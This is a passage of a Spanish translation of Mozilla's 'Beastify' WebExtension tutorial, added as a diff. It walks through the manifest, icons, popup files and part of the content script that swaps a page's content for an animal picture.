+<p>Para escribir una extensión, necesitará de Firefox 45 o más reciente.</p>
+
+<h2 id="Escribiendo_la_extensión">Escribiendo la extensión</h2>
+
+<p>Crea una carpeta nueva y navega hacia ella:</p>
+
+<pre class="brush: bash">mkdir beastify
+cd beastify</pre>
+
+<h3 id="manifest.json">manifest.json</h3>
+
+<p>Ahora crea un archivo llamado "manifest.json", y agrega el siguiente contenido:</p>
+
+<pre class="brush: json">{
+
+  "manifest_version": 2,
+  "name": "Beastify",
+  "version": "1.0",
+
+  "description": "Agrega un icono de acción navegación a la barra de herramientas. Haga clic en el botón para elegir una bestia. El contenido del cuerpo de la pestaña activa se sustituye por una imagen de la bestia elegida. Consulte https://developer.mozilla.org/es/Add-ons/WebExtensions/Examples#beastify",
+  "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify",
+  "icons": {
+    "48": "icons/beasts-48.png"
+  },
+
+  "permissions": [
+    "activeTab"
+  ],
+
+  "browser_action": {
+    "default_icon": "icons/beasts-32.png",
+    "default_title": "Bestificar",
+    "default_popup": "popup/choose_beast.html"
+  },
+
+  "web_accessible_resources": [
+    "beasts/frog.jpg",
+    "beasts/turtle.jpg",
+    "beasts/snake.jpg"
+  ]
+
+}
+</pre>
+
+<ul>
+ <li>Las tres primeras llaves: <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></code> , <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/name">name</a></code> , y <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version">version</a></code> , son obligatorias y contienen los metadatos básicos para la extensión.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description">description</a></code> y <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url">homepage_url</a></code> son opcionales, pero recomendadas: proporcionan información útil acerca de la extensión.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons">icons</a></code> es opcional, pero recomedada: permite la especificación de un ícono para la extensión, que será mostrada en el Administrador de Complementos.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code> lista los permisos que la extensión necesita. Aquí solo se pide el permiso de <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission"><code>activeTab</code> permission</a>.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> especifica el botón de la barra de herramientas.  Nosotros proveemos tres piezas de información aquí:
+  <ul>
+   <li><code>default_icon</code> es obligatorio y enlaza al icono para el botón</li>
+   <li><code>default_title</code> es opcional y será mostrado como descripción</li>
+   <li><code>default_popup</code> es usado su tu quieres una ventana emergente que será mostrada cuando el usuario de clic en el botón. Lo hacemos y hemos incluido esta llave que apunta a un archivo HTML de la extensión.</li>
+  </ul>
+ </li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a></code> lista los archivos que queremos hacer accesibles a las páginas web. Como la extensión reemplaza imágenes en una página con imágenes que hemos empaquetado, necesitamos hacer estas imágenes accesibles a la página.</li>
+</ul>
+
+<p>Nota que todas las rutas dadas son relativas a manifest.json.</p>
+
+<h3 id="El_ícono">El ícono</h3>
+
+<p>La extensión debería tener un íncono. Éste, será mostrado junto a la lista de complementos en el Administrador de Complementos (Pude abrirlo introduciendo en la URL "about:addons"). El manifest.json promete que se posee un ícono para la barra de herramientas en "icons/beasts-48.png".</p>
+
+<p>Cree el directorio "icons" y guarde un ícono ahí y nómbrelo como "beasts-48.png".  Puede utilizar <a href="https://github.com/mdn/webextensions-examples/blob/master/beastify/icons/beasts-48.png">uno de nuestro ejemplo</a>, el cual ha sido tomado del  <a href="https://www.iconfinder.com/iconsets/free-retina-icon-set">conjuto de íconos Aha-Soft’s Free Retina</a>, que es utilizado bajo el término de su propia <a href="http://www.aha-soft.com/free-icons/free-retina-icon-set/">licencia</a>.</p>
+
+<p>Si elige proporcionar su propio ícono, debería ser de 48x48 pixeles. También puede proporcionar un ícono de 96x96 pixeles, para pantallas de altas resoluciones y, si usted hace esto, deberá especificarlo como la propiedad <code>96</code> del objeto <code>icons</code> en el manifest.json:</p>
+
+<pre class="brush: json line-numbers  language-json"><code class="language-json"><span class="key token">"icons":</span> <span class="punctuation token">{</span>
+  <span class="key token">"48":</span> <span class="string token">"icons/beasts-48.png"</span><span class="punctuation token">,</span>
+  <span class="key token">"96":</span> <span class="string token">"icons/beasts-96.png"</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="El_botón_de_la_barra_de_herramientas">El botón de la barra de herramientas</h3>
+
+<p>El botón de la barra de herramientas necesita un ícono, y nuestro manifest.json promete eso y nos gustaría tener un ícono para la barra de herramientas en "icons/beasts-32.png".</p>
+
+<p>Guarde un ícono llamado "beasts-32.png" en el directorio "icons". Tu podrías usar <a href="https://github.com/mdn/webextensions-examples/blob/master/beastify/icons/beasts-32.png">uno de nuestros ejemplos</a>, los cuales son tomados desde el sitio <a href="http://www.iconbeast.com/free">IconBeast Lite icon set</a> y empleados bajo sus términos de <a href="http://www.iconbeast.com/faq/">licencia</a>.</p>
+
+<p>Si tu no provees una ventana emergente, entonces el evento clic es disparado hacia tu extensión cuando el usuario de clic sobre el botón. Si provees una ventana emergente entonces el evento clic no se disparará, pero en cambio, se muestra la ventana emergente. Nosotros queremos una ventana emergente, así que vamos a crearla.</p>
+
+<h3 id="La_ventana_emergente">La ventana emergente</h3>
+
+<p>La función de la ventana emergente es habilitada si el usuario escoge una de los tres animales.</p>
+
+<p>Crea una nueva carpeta llamada "popup" bajo la carpeta raíz de la extensión . Esta será donde pondremos el código para la ventana emergente. La carpeta "popup" contendrá estos tres archivos:</p>
+
+<ul>
+ <li><strong><code>choose_beast.html</code></strong> define el contenido del panel</li>
+ <li><strong><code>choose_beast.css</code></strong> los estilos CSS para el contenido</li>
+ <li><strong><code>choose_beast.js</code></strong> maneja las opciones del usuario ejecutando un script de contenido en la pestaña activa</li>
+</ul>
+
+<h4 id="choose_beast.html">choose_beast.html</h4>
+
+<p>El archivo HTML luce así:</p>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>utf-8<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>link</span> <span class="attr-name token">rel</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>stylesheet<span class="punctuation token">"</span></span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>choose_beast.css<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>popup-content<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button beast<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Frog<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button beast<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Turtle<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button beast<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Snake<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button reset<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Reset<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>error-content<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>hidden<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Can't beastify this web page.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Try a different page.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>choose_beast.js<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Tenemos un elemento <code>&lt;div&gt;</code> con un ID <code>"popup-content"</code> que contiene un elemento para cada elección de animal. Además, tenemos otro <code>&lt;div&gt;</code> con un ID <code>"error-content"</code> y una clase <code>"hidden"</code>, que usaremos en el case de que surja algún problema al inicializar la ventana emergente.</p>
+
+<p>Note que referenciamos los archivos CSS y JS en el HTML como lo haríamos si se tratase de una página web.</p>
+
+<h4 id="choose_beast.css">choose_beast.css</h4>
+
+<p>El CSS ajusta el tamaño de la ventana emergente, se asegura que las tres posibles opciones llenen el espacio y les da un poco de estilo básico. Además oculta los elementos con <code>class="hidden"</code>: esto significa que nuestro <code>"error-content"</code> <code>&lt;div&gt;</code> estará oculto por defecto.</p>
+
+<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">html, body</span> <span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">100</span><span class="token unit">px</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.hidden</span></span> <span class="punctuation token">{</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> none<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.button</span></span> <span class="punctuation token">{</span>
+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">3</span><span class="token unit">%</span> auto<span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">4</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">text-align</span><span class="punctuation token">:</span> center<span class="punctuation token">;</span>
+  <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">1.5</span><span class="token unit">em</span><span class="punctuation token">;</span>
+  <span class="property token">cursor</span><span class="punctuation token">:</span> pointer<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.beast</span><span class="pseudo-class token">:hover</span></span> <span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#CFF2F2</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.beast</span></span> <span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#E5F2F2</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.reset</span></span> <span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#FBFBC9</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.reset</span><span class="pseudo-class token">:hover</span></span> <span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#EAEA9D</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="choose_beast.js">choose_beast.js</h4>
+
+<p>Aquí está el JavaScript para la ventana emergente:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">/**
+ * CSS para ocultar toda la página
+ * Excepto los elementos que pertenecen a la clase "beastify-image".
+ */</span>
+<span class="keyword token">const</span> hidePage <span class="operator token">=</span> <span class="template-string token"><span class="string token">`body &gt; :not(.beastify-image) {
+                    display: none;
+                  }`</span></span><span class="punctuation token">;</span>
+
+<span class="comment token">/**
+ * Esucha los clicks en los botones y envía el mensaje apropiado
+ * al script de contenido de la página.
+ */</span>
+<span class="keyword token">function</span> <span class="function token">listenForClicks</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> <span class="punctuation token">(</span><span class="parameter token">e</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="punctuation token">{</span>
+
+    <span class="comment token">/**
+     * Recibe el nombre de una bestia y obtiene la URL de la imagen correspondiente.
+     */</span>
+    <span class="keyword token">function</span> <span class="function token">beastNameToURL</span><span class="punctuation token">(</span><span class="parameter token">beastName</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">switch</span> <span class="punctuation token">(</span>beastName<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">case</span> <span class="string token">"Frog"</span><span class="punctuation token">:</span>
+          <span class="keyword token">return</span> browser<span class="punctuation token">.</span>extension<span class="punctuation token">.</span><span class="function token">getURL</span><span class="punctuation token">(</span><span class="string token">"beasts/frog.jpg"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">case</span> <span class="string token">"Snake"</span><span class="punctuation token">:</span>
+          <span class="keyword token">return</span> browser<span class="punctuation token">.</span>extension<span class="punctuation token">.</span><span class="function token">getURL</span><span class="punctuation token">(</span><span class="string token">"beasts/snake.jpg"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">case</span> <span class="string token">"Turtle"</span><span class="punctuation token">:</span>
+          <span class="keyword token">return</span> browser<span class="punctuation token">.</span>extension<span class="punctuation token">.</span><span class="function token">getURL</span><span class="punctuation token">(</span><span class="string token">"beasts/turtle.jpg"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span>
+
+    <span class="comment token">/**
+     * Inserta dentro de la pestaña activa el CSS que oculta la página
+     * luego toma la URL de la imagen y
+     * envía un mensaje "beastify" al script de contenido de la pestaña activa.
+     */</span>
+    <span class="keyword token">function</span> <span class="function token">beastify</span><span class="punctuation token">(</span><span class="parameter token">tabs</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">insertCSS</span><span class="punctuation token">(</span><span class="punctuation token">{</span>code<span class="punctuation token">:</span> hidePage<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="punctuation token">{</span>
+        <span class="keyword token">let</span> url <span class="operator token">=</span> <span class="function token">beastNameToURL</span><span class="punctuation token">(</span>e<span class="punctuation token">.</span>target<span class="punctuation token">.</span>textContent<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">sendMessage</span><span class="punctuation token">(</span>tabs<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span>id<span class="punctuation token">,</span> <span class="punctuation token">{</span>
+          command<span class="punctuation token">:</span> <span class="string token">"beastify"</span><span class="punctuation token">,</span>
+          beastURL<span class="punctuation token">:</span> url
+        <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+
+    <span class="comment token">/**
+     * Remueve el CSS que oculta la página y
+     * envía un mensaje de "reset" al script de contenido de la pestaña activa.
+     */</span>
+    <span class="keyword token">function</span> <span class="function token">reset</span><span class="punctuation token">(</span><span class="parameter token">tabs</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">removeCSS</span><span class="punctuation token">(</span><span class="punctuation token">{</span>code<span class="punctuation token">:</span> hidePage<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="punctuation token">{</span>
+        browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">sendMessage</span><span class="punctuation token">(</span>tabs<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span>id<span class="punctuation token">,</span> <span class="punctuation token">{</span>
+          command<span class="punctuation token">:</span> <span class="string token">"reset"</span><span class="punctuation token">,</span>
+        <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+
+    <span class="comment token">/**
+     * Imprime el error en consola.
+     */</span>
+    <span class="keyword token">function</span> <span class="function token">reportError</span><span class="punctuation token">(</span><span class="parameter token">error</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="template-string token"><span class="string token">`Could not beastify: </span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${</span>error<span class="interpolation-punctuation punctuation token">}</span></span><span class="string token">`</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+
+    <span class="comment token">/**
+     * Toma la pestaña activa y
+     * llama a "beastify()" o "reset()" según corresponda.
+     */</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>target<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">contains</span><span class="punctuation token">(</span><span class="string token">"beast"</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">query</span><span class="punctuation token">(</span><span class="punctuation token">{</span>active<span class="punctuation token">:</span> <span class="boolean token">true</span><span class="punctuation token">,</span> currentWindow<span class="punctuation token">:</span> <span class="boolean token">true</span><span class="punctuation token">}</span><span class="punctuation token">)</span>
+        <span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>beastify<span class="punctuation token">)</span>
+        <span class="punctuation token">.</span><span class="function token">catch</span><span class="punctuation token">(</span>reportError<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>target<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">contains</span><span class="punctuation token">(</span><span class="string token">"reset"</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">query</span><span class="punctuation token">(</span><span class="punctuation token">{</span>active<span class="punctuation token">:</span> <span class="boolean token">true</span><span class="punctuation token">,</span> currentWindow<span class="punctuation token">:</span> <span class="boolean token">true</span><span class="punctuation token">}</span><span class="punctuation token">)</span>
+        <span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>reset<span class="punctuation token">)</span>
+        <span class="punctuation token">.</span><span class="function token">catch</span><span class="punctuation token">(</span>reportError<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">/**
+ * Si hubo algún error al ejecutar el script,
+ * Despliega un popup con el mensaje de error y oculta la UI normal.
+ */</span>
+<span class="keyword token">function</span> <span class="function token">reportExecuteScriptError</span><span class="punctuation token">(</span><span class="parameter token">error</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"#popup-content"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">add</span><span class="punctuation token">(</span><span class="string token">"hidden"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"#error-content"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">remove</span><span class="punctuation token">(</span><span class="string token">"hidden"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="template-string token"><span class="string token">`Failed to execute beastify content script: </span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${</span>error<span class="punctuation token">.</span>message<span class="interpolation-punctuation punctuation token">}</span></span><span class="string token">`</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">/**
+ * Cuando se carga la ventana emergente, inyecta el script de contenido en la pestaña activa,
+ * y agrega un manejador de eventos.
+ * Si no es posible inyectar el script, se ocupa de manejar el error.
+ */</span>
+browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">executeScript</span><span class="punctuation token">(</span><span class="punctuation token">{</span>file<span class="punctuation token">:</span> <span class="string token">"/content_scripts/beastify.js"</span><span class="punctuation token">}</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>listenForClicks<span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">catch</span><span class="punctuation token">(</span>reportExecuteScriptError<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Empecemos por la linea 96. La ventana emergente ejecuta un script de contenido en la pestaña activa tan pronto como se termina de cargar, usando la API <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript">browser.tabs.executeScript()</a></code>. Si la ejecución del script de contenido es exitosa, este quedará cargado en la página hasta que sea cerrada la pestaña o hasta que el usuario navegue hacia una página distinta.</p>
+
+<div class="blockIndicator note">
+<p>Un motivo común por el cual el llamado a <code>browser.tabs.executeScript()</code> puede fallar, es porque no es posible ejecutar scripts de contenido en todas las páginas, por ejemplo, en páginas de navegador privilegiadas como about:debugging, o páginas del dominio <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, no es posible hacerlo.</p>
+</div>
+
+<p>Si la ejecución falla, <code>reportExecuteScriptError()</code> ocultará el <code>&lt;div&gt;</code> <code>"popup-content"</code>, mostrará el <code>&lt;div&gt;</code> <code>"error-content"</code>, y reportará el error en la consola.</p>
+
+<p>Si la ejecución del script de contenido es exitosa, se llamará a <code>listenForClicks()</code>, que atiende los eventos que se generan al cliquear en la ventana emergente.</p>
+
+<ul>
+ <li>Si el clic se produjo en el botón con <code>class="beast"</code>, se llama a <code>beastify()</code>.</li>
+ <li>Si el clic se produjo en el botón con <code>class="reset"</code>, se llama a  <code>reset()</code>.</li>
+</ul>
+
+<p>La función <code>beastify()</code> hace tres cosas:</p>
+
+<ul>
+ <li>map the button clicked to a URL pointing to an image of a particular beast</li>
+ <li>Oculta todo el contenido de la página al insertar CSS con la API <code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/API/tabs/insertCSS">browser.tabs.insertCSS()</a></code></li>
+ <li>Envía un mensaje "beastify" al script de contenido usando la API <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/sendMessage">browser.tabs.sendMessage()</a></code>, solicitándole "bestificar" la página, y enviándole la URL de la imagen.</li>
+</ul>
+
+<p>La función <code>reset()</code> deshace lo hecho por <code>beastify()</code>:</p>
+
+<ul>
+ <li>Remueve el CSS que agregó, usando la API <code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/API/tabs/removeCSS">browser.tabs.removeCSS()</a></code></li>
+ <li>Envía un mensaje de "reset" al script de contenido, solicitándole que resetee la página</li>
+</ul>
+
+<h3 id="El_script_de_contenido">El script de contenido</h3>
+
+<p>Crea una carpeta nueva bajo la raíz del complemento llamada "content_scripts" y crea un nuevo archivo en ella llamado "beastify.js", con el contenido siguiente:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">/**
+   * Revisa e inicializa una variable de guardia.
+   * Si este script de contenido es insertado más de una vez
+   * en la misma página, dejará de ejecutarse.
+   */</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>window<span class="punctuation token">.</span>hasRun<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">return</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  window<span class="punctuation token">.</span>hasRun <span class="operator token">=</span> <span class="boolean token">true</span><span class="punctuation token">;</span>
+
+<span class="comment token">/**
+* Recibe la URL de la imagen, remueve las que se hayan agregado antes,
+* crea un nodo IMG que apunt hacia la imagen
+* e inserta ese nodo en el documento.
+*/</span>
+  <span class="keyword token">function</span> <span class="function token">insertBeast</span><span class="punctuation token">(</span><span class="parameter token">beastURL</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">removeExistingBeasts</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">let</span> beastImage <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"img"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    beastImage<span class="punctuation token">.</span><span class="function token">setAttribute</span><span class="punctuation token">(</span><span class="string token">"src"</span><span class="punctuation token">,</span> beastURL<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    beastImage<span class="punctuation token">.</span>style<span class="punctuation token">.</span>height <span class="operator token">=</span> <span class="string token">"100vh"</span><span class="punctuation token">;</span>
+    beastImage<span class="punctuation token">.</span>className <span class="operator token">=</span> <span class="string token">"beastify-image"</span><span class="punctuation token">;</span>
+    document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>beastImage<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">/**
+   * Remueve todas las bestias de la página.
+   */</span>
+  <span class="keyword token">function</span> <span class="function token">removeExistingBeasts</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">let</span> existingBeasts <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">".beastify-image"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">let</span> beast <span class="keyword token">of</span> existingBeasts<span class="punctuation token">)</span> <span class="punctuation token">{</span>
